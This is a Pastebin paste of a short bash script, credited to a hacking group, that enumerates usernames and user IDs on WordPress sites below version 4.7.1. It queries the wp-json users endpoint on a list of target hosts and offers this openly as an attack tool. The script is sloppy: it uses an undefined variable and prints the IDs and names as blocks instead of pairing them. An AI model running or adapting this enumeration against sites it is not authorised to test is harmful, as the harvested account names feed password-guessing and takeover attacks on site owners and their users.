Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # zsecc0de-crew.id
- # WordPress < 4.7.1
- function aso(){
- local i b mm mber zos
- i=$(curl -s "${x}/wp-json/wp/v2/users/")
- b=$(echo -e "${i}"|grep -Po '(?<="id":)[^,"]*')
- mm=$(echo -e "${i}"|grep -Po '"name":"\K[^,"]*'|tr -d '[:blank:]')
- for jos in "$mm";do
- mber=$(echo $b)
- zos=$(echo $jos)
- echo -e "id => $mber"
- echo "----------------------"
- echo -e "$users => $zos"
- echo -e "-------------------"
- done
- }
- printf "
- +----------------------+
- | Cod3r widhisec |
- | Username Enumeration |
- +----------------------+
- "
- for x in $(cat lst);do
- aso
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement